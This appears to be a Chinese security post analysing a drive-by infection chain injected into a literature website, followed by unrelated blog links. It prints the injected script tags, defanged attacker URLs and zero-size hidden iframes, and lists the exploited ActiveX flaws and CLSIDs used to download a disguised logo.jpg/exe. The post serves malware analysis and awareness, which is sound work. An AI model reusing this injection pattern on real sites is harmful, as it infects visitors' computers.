某文学网站上挂的logo.jpg /logo.exe 更新了

简介: 某文学网站上挂的logo.jpg /logo.exe 更新了

网站首页 包含代码:

/---

<script src="ads/iw_t.js"></script>

---/

#1 ads/iw_t.js包含代码:

/---

<script src='/images/jin.gif'></script>

---/

#1.1 /images/jin.gif

输出代码:

/---

<script language="javascript" src="hxxp://w**w*.shi*t**ip.com/file/my.js"></script>

---/

#1.1.1 hxxp://w**w*.shi*t**ip.com/file/my.js 输出代码:

/---

<script language='javascript' src='hxxp://a**d.shi*t**ip.com/file/ad.js'></script>

---/

#1.1.1.1 hxxp://a**d.shi*t**ip.com/file/ad.js 输出代码:

/---

<iframe name='logo_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/logo.js'></script>

<iframe name='real2_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/real2.js'></script>

<iframe name='real_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/real.js'></script>

<iframe name='lz3_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz3.js'></script>

<iframe name='lz2_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz2.js'></script>

<iframe name='lz_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz.js'></script>

<iframe name='bf_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/bf.js'></script>

<iframe name='pps_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/pps.js'></script>

<iframe name='xunlei_if' width='25' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/xunlei.js'></script>

<iframe name='sdr_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/sdr.js'></script>

<iframe name='cif_' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://count23.51yes.com/click.aspx?id=238288070&logo=1'></script>

---/

#1.1.1.1.1 hxxp://w**w*.shi*t**ip.com/file/logo.js

利用 MS06-014漏洞下载 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg


#1.1.1.1.2 hxxp://w**w*.shi*t**ip.com/file/real2.js

利用 RealPlayer(rmocx.RealPlayer RAM Download Handler.1,clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.3 hxxp://w**w*.shi*t**ip.com/file/real.js

利用 RealPlayer(IERPCtl.IERPCtl.1)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.4 hxxp://w**w*.shi*t**ip.com/file/lz3.js

利用 联众(HanGamePluginCn18.HanGamePluginCn18.1,clsid:61F5C358-60FB-4A23-A312-D2B556620F20)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.5 hxxp://w**w*.shi*t**ip.com/file/lz2.js

利用 联众(GLIEDown.IEDown.1,clsid:F917534D-535B-416B-8E8F-0C04756C31A8)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.6 hxxp://w**w*.shi*t**ip.com/file/lz.js

利用 联众(GLCHAT.GLChatCtrl.1,clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.7 hxxp://w**w*.shi*t**ip.com/file/bf.js

利用 暴风影音(MPS.StormPlayer,clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.8 hxxp://w**w*.shi*t**ip.com/file/pps.js

利用 PPStream(POWERPLAYER.PowerPlayerCtrl.1,clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.9 hxxp://w**w*.shi*t**ip.com/file/xunlei.js

利用迅雷(PPlayer.XPPlayer.1,clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F)漏洞下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.10 hxxp://w**w*.shi*t**ip.com/file/sdr.js

利用超星阅览器(Pdg2,clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2)漏洞下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg


相关文章
|
5天前
|
云安全 人工智能 安全
AI被攻击怎么办?
阿里云提供 AI 全栈安全能力,其中对网络攻击的主动识别、智能阻断与快速响应构成其核心防线,依托原生安全防护为客户筑牢免疫屏障。
|
15天前
|
域名解析 人工智能
【实操攻略】手把手教学,免费领取.CN域名
即日起至2025年12月31日,购买万小智AI建站或云·企业官网,每单可免费领1个.CN域名首年!跟我了解领取攻略吧~
|
9天前
|
安全 Java Android开发
深度解析 Android 崩溃捕获原理及从崩溃到归因的闭环实践
崩溃堆栈全是 a.b.c?Native 错误查不到行号?本文详解 Android 崩溃采集全链路原理,教你如何把“天书”变“说明书”。RUM SDK 已支持一键接入。
604 214
|
存储 人工智能 监控
从代码生成到自主决策:打造一个Coding驱动的“自我编程”Agent
本文介绍了一种基于LLM的“自我编程”Agent系统,通过代码驱动实现复杂逻辑。该Agent以Python为执行引擎,结合Py4j实现Java与Python交互,支持多工具调用、记忆分层与上下文工程,具备感知、认知、表达、自我评估等能力模块,目标是打造可进化的“1.5线”智能助手。
843 61
|
7天前
|
人工智能 移动开发 自然语言处理
2025最新HTML静态网页制作工具推荐:10款免费在线生成器小白也能5分钟上手
晓猛团队精选2025年10款真正免费、无需编程的在线HTML建站工具,涵盖AI生成、拖拽编辑、设计稿转代码等多种类型,均支持浏览器直接使用、快速出图与文件导出,特别适合零基础用户快速搭建个人网站、落地页或企业官网。
1247 157
|
4天前
|
编解码 Linux 数据安全/隐私保护
教程分享免费视频压缩软件,免费视频压缩,视频压缩免费,附压缩方法及学习教程
教程分享免费视频压缩软件,免费视频压缩,视频压缩免费,附压缩方法及学习教程
239 138
|
7天前
|
存储 安全 固态存储
四款WIN PE工具,都可以实现U盘安装教程
Windows PE是基于NT内核的轻量系统,用于系统安装、分区管理及故障修复。本文推荐多款PE制作工具,支持U盘启动,兼容UEFI/Legacy模式,具备备份还原、驱动识别等功能,操作简便,适合新旧电脑维护使用。
521 109